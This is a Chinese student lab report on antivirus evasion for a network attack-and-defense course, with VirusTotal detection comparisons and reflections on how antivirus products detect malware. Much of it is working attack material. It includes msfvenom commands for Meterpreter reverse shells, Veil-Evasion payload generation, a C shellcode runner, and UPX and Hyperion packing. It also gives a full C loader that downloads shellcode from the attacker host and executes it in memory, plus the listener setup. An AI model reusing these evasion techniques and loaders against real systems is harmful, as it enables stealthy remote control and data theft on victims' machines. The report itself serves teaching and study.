网络攻防实验三
20242424 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1.基础知识
免杀:对恶意软件做处理,让它不被杀毒软件检测。
杀软如何检测出恶意代码?
- 特征码扫描:从已知恶意代码样本中提取其唯一字节序列作为“签名”,扫描文件时逐字节比对,若文件中出现字节序列完全匹配签名就可以判定为恶意代码。优点是准确快速;缺点是无法检测未知样本和轻微修改的变种。
- 启发式分析:不依赖已知签名,而是检测代码结构或行为是否像恶意程序。静态启发式扫描代码结构,动态启发式监控程序运行时的动作。例如进程注入、修改注册表启动项、连接陌生IP等,偏离正常程序行为即标记为可疑。
- 行为监控/沙箱:在一个受控环境中运行样本,观察系统调用序列和网络行为例如某个“文档”突然调用
VirtualAllocEx+CreateRemoteThread向其他进程写数据,或释放后立即外连 C2,就会被行为引擎拦截。 - 此外还有云查杀(上传文件哈希或片段到云端比对)和机器学习模型,但核心逻辑仍是上述三类的延伸。
免杀的基本方法有哪些?
按对抗的检测层面划分:
| 对抗目标 | 方法 | 原理 |
|---|---|---|
| 特征码扫描 | 编码/加密(msfvenom -e、XOR、RC4、Base64 多层) | 改变文件字节序列,使签名无法匹配 |
| 特征码扫描 | 加壳(UPX、Hyperion 等) | 原始代码被压缩/加密包裹,静态扫描只能看到壳,看不到内部特征 |
| 静态启发式 | 代码混淆、花指令、替换 API 调用 | 打乱代码结构,增加分析难度 |
| 动态行为监控 | Shellcode 加载器分离、延迟执行、沙箱检测 | shellcode 不直接放在 exe 中,或运行时才解密/加载,规避静态和短期动态检测 |
| 整体 | 组合技术 | 编码 + 加壳 + 加载器分离 + 合法签名伪装等叠加使用 |
2.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
3.实验过程
任务一:正确使用msf编码器,veil-evasion,加壳与C+shellcode编程
1. msfvenom 编码器与多格式生成
先生成一个裸的 msfvenom exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f exe -o 20242424_raw_msf.exe
将此程序送到VirusTotal中检测结果如下:

返回kali linux,生成基础 jar 文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f jar > 20242424_jar.jar
对 exe 使用 shikata_ga_nai 多次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.40.129 LPORT=4444 -f exe > 20242424_encoded.exe
(-e 指定编码器,-i 是迭代次数,-b '\x00' 避免空字节。)
如下图所示,VirusTotal 检出情况如下,有 51 家安全厂商将其标记为恶意,检出率为 71.8%。结论:单纯依赖 msfvenom 编码对现代杀软效果有限,VirusTotal 检出率往往仍然很高。

2. Veil-Evasion 生成免杀载荷
安装并启动 Veil:
# 解决 apt 优先走 IPv6 导致网络不可达的问题,强制使用 IPv4
echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4
sudo apt update
# Kali 官方仓库已移除 veil 包,改用源码安装,使用 GitCode 镜像克隆
git clone https://gitcode.com/gh_mirrors/ve/Veil.git
cd Veil
# 预装 pycrypto 的维护替代品 pycryptodome
sudo apt install -y python3-pycryptodome
# 修改 setup.sh:将硬编码的 pip install pycrypto 替换为 pycryptodome
nano config/setup.sh
# 找到 "pip3 install pycrypto" 的行,改为:
# pip3 install pycryptodome --break-system-packages
# 运行安装脚本并启动
sudo ./config/setup.sh --force --silent
veil
进入 Veil 后,选择 Evasion 模块:
use evasion
list

使用 c/meterpreter/rev_tcp.py 载荷,配置参数并生成:
use c/meterpreter/rev_tcp.py
set LHOST 192.168.40.129
set LPORT 2424
generate

生成的文件名为 20242424_veil.exe,路径在 /var/lib/veil/output/compiled/。将其上传至 VirusTotal 验证,发现 35 家安全厂商将其检出为恶意,检出率为 49%。由此可见,杀软可通过检测 PE 文件的 Overlay 异常,判定其为恶意打包文件。

3. C + shellcode 编程
生成 C 格式 shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=2327 -f c -o 20242424_shellcode.c
打开生成的文件,在 buf[] 数组末尾添加执行入口:
int main(){
int (*func)() = (int(*)())buf;
func();
}
原理:func 是指向 buf 首地址的函数指针,调用 func() 让 CPU 跳转到存储 shellcode 的内存区域执行机器码,从而触发反弹连接。
用 MinGW 交叉编译为 Windows exe:
i686-w64-mingw32-g++ 20242424_shellcode.c -o 20242424_c_shellcode.exe
编译后上传 VirusTotal 记录检出数(30/69)。面对的不再是标准 msf 格式,而是自己编译的普通 C 程序,检出率有变化,但 buf 中的原始 shellcode 字节仍在文件中,不保证清零。

4. 加壳对比(UPX + Hyperion)
对 C+shellcode 生成的 exe 分别加压缩壳和加密壳,观察检出率变化。
UPX 压缩壳:
upx 20242424_c_shellcode.exe -o 20242424_c_upx.exe

Hyperion 加密壳:
# 第一步:把文件复制到工具目录
sudo cp 20242424_c_shellcode.exe /usr/share/windows-resources/hyperion/
# 第二步:进入目录
cd /usr/share/windows-resources/hyperion/
# 第三步:使用 wine 运行加壳
sudo wine hyperion.exe 20242424_c_shellcode.exe 20242424_c_hyperion.exe

结论:加壳并非一劳永逸。由于 UPX 和 Hyperion 的壳特征已被广泛收录,加壳反而触发了杀软的启发式查杀,导致检出率未降反升。这证明了在现代杀软面前,单纯依靠加壳无法实现免杀。
5. 组合技术:网络分离加载
为彻底解决文件带有附加数据(overlay)被查杀的问题,采用网络分离加载技术。本地 exe 不包含任何恶意代码,运行时去 Kali 临时下载 payload.bin 并在内存运行。
第一步:在 Kali 上准备 HTTP 服务
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f raw -o payload.bin
python3 -m http.server 8080
第二步:写网络加载器(C 语言)
新建文件 20242424_net.c:
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
int main() {
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hConnect = InternetOpenUrlA(hInternet, "http://192.168.40.129:8080/payload.bin", NULL, 0, 0, 0);
if (hConnect) {
char buffer[2048];
DWORD bytesRead;
char *exec_mem = (char*)VirtualAlloc(0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD totalRead = 0;
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) {
memcpy(exec_mem + totalRead, buffer, bytesRead);
totalRead += bytesRead;
}
int (*func)() = (int(*)())exec_mem;
func();
}
return 0;
}
第三步:编译与测试
i686-w64-mingw32-gcc 20242424_net.c -o 20242424_net.exe -lwininet
生成的 net.exe 大小仅有几 KB,没有任何乱码数组,静态特征极其干净。

任务二:与杀软共生及实测验证
1. 实测环境准备
在 Kali 开启监听:
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.40.129
set LPORT 4444
run
2. 开启防护测试
将 20242424_net.exe 通过共享文件夹传至物理机,在开启 Windows Defender 实时防护的情况下双击运行。程序被检测到并秒杀拦截。

3. 关闭防护验证连通性
为了验证 Payload 本身的连通性与代码逻辑,我们在测试机上关闭 Windows Defender 病毒防护,再次运行程序。程序成功回连,获取到 Meterpreter 会话,证明代码本身无问题,可见 Windows Defender 动态行为监控的强大。

各阶段免杀效果对比总结:
| 测试阶段 | 测试文件 | 生成方式 | VirusTotal 检出率 |
|---|---|---|---|
| 裸 MSF | raw_msf.exe |
msfvenom 原生 | 52/71 |
| MSF 编码 | encoded.exe |
shikata_ga_nai | 51/71 |
| Veil 工具 | veil.exe |
Veil-Evasion | 35/71 |
| C+Shellcode | c_shellcode.exe |
C语言直接内联 | 30/69 |
| UPX 加壳 | c_upx.exe |
UPX 压缩 | 31/69 |
| Hyperion 加壳 | c_hyperion.exe |
强加密壳 | 51/71 |
| 网络分离加载 | net.exe |
C语言纯下载器 | 28/71 |
4.问题及解决方案
-
问题1:安装 Veil 时使用
apt install veil报错。Error: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied) Error: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root? -
问题1解决方案:该错误是因为当前使用的账户 kali 没有直接执行 apt 安装命令的管理员权限。在 Kali Linux 中,出于安全考虑,默认禁用了直接使用 root 账户,而是推荐通过 sudo 来临时获取管理员权限。在原来的命令前加上 sudo 即可:
sudo apt install veil。 -
问题2:运行
sudo ./config/setup.sh --force --silent安装 Veil 时,脚本反复报依赖安装失败,关键报错为error: externally-managed-environment及[ERROR] Failed with installing dependencies (6): 0。同时终端伴随 D-Bus 连接失败和 Wine 加载 Vulkan 库失败的警告,veil 命令无法正常启动。 -
问题2解决方案:
- 定位核心错误:通过查看 setup.sh 输出,确认是脚本执行
pip install pycrypto时触发了 Kali 的 PEP 668 保护(禁止 pip 直接写入受管 Python 环境)。 - 分析原因:
setup.sh硬编码调用pip install pycrypto,不检测系统环境;且pycrypto已停止维护,官方推荐替代品为pycryptodome。 - 具体处理:
- 先执行
sudo apt install -y python3-pycryptodome预先满足依赖; - 编辑
config/setup.sh,将pip3 install pycrypto替换为pip3 install pycryptodome --break-system-packages; - 忽略 D-Bus(当前环境 systemd 总线不完整)和 Vulkan(Wine 图形初始化回退)的次要警告,不影响核心功能。
- 先执行
- 验证:重新运行安装脚本,依赖安装通过;使用
python3 -c "from Crypto.Cipher import ARC4; print('Crypto OK')"验证模块导入正常,Veil 成功启动。
- 定位核心错误:通过查看 setup.sh 输出,确认是脚本执行
-
问题3:物理机开启 Windows Defender 时,网络分离加载器(本地无恶意代码)被瞬间拦截。
-
问题3解决方案:通过分析发现,虽然本地 exe 静态代码干净,但 Defender 的 AMSI 机制和动态行为分析引擎检测到了
InternetOpenUrl(下载)、VirtualAlloc(申请内存)和函数指针执行等一系列高危 API 组合调用,触发了行为查杀。为验证代码本身的连通性,暂时关闭 Defender 防护后运行成功。这证明了现代杀软已从“查文件特征”进化到了“查代码行为”。
5.学习感悟即问题回答
此次实验带给我极大的震撼。通过深入接触后门植入与免杀技术,我直观地感受到了网络攻防的激烈对抗。也许这些工具发明的初衷是为了人们能远程登录设备更好地办公,或者是帮助他人解决电脑问题,但同时它们也成为了被不法分子利用、盗取个人隐私的媒介。正因为有这种黑客入侵的威胁,安全软件、防火墙才应运而生。结合本次免杀实验,我对攻防博弈有了更深刻的理解:
第一,理解后门与防火墙的博弈。
实验二(如 nc 和 Socat 的使用)让我初步认识了后门的原理:联网运行特定程序并配置 IP 和端口。但在实验二中使用 MSF 生成后门并通过 ncat 传输时,我遇到了真实的阻碍——由于现代防火墙和病毒防护的普及,主动植入后门极易被识别。因此,我们在传输时不得不暂时关闭靶机的防护。但这在现实中行不通,因为防火墙默认策略通常是“拦进不拦出”。这让我意识到,后门往往需要通过钓鱼网站或邮件诱骗受害者自己运行,由靶机内部向外主动发起突破,这就是“反弹连接”。而要让受害者的杀软和系统不拦截这个“反弹”行为,就必须用到我们本次实验的核心技术——免杀。
第二,对抗杀软的深度思考(回答问题):
(1)杀软是如何检测出恶意代码的? 结合实验数据,我看到了杀软的“三板斧”:首先是特征码扫描(裸MSF载荷在VT上被52家引擎秒杀);其次是静态启发式(我加UPX和Hyperion壳后,因为壳特征明显或附加数据异常,检出率不降反升);最后是强大的动态行为监控(即使我写了毫无特征的网络分离加载器,双击运行后仍被Windows Defender发现 VirtualAlloc 等敏感API调用并拦截)。
(2)免杀是做什么? 免杀绝不是制造无毒的文件,而是通过加密、混淆、加载器分离等“伪装”手段,改变恶意代码的静态特征,或者隐藏其动态行为,骗过杀软的检测,让恶意代码能成功在目标机器上运行并回连。
(3)免杀的基本方法有哪些? 在实验中我实践了完整的免杀演进路径:从编码器(msfvenom自带编码)、加壳(UPX)、到源码级重编译(自己写C语言加载器),再到最有效的分离加载(网络远程拉取Payload并在内存执行),最后还可以结合 API 动态调用来进一步隐藏行为。
第三,免杀是后续一切攻击的基石。
正是因为免杀技术的铺垫,我们才能进一步通过提权敲命令、监听靶机键盘、控制摄像头,甚至最终拿到最高权限并抓取本地用户的 NTLM 哈希。如果说实验一是利用漏洞在本地弹一个 shell,那么后期的任务则是利用这个漏洞和后门技术,主动把控制权交给远程攻击机。如果没有免杀技术作支撑,再精妙的漏洞利用也会在第一步被防火墙拒之门外。二者结合,才是完整的实战攻防。

浙公网安备 33010602011771号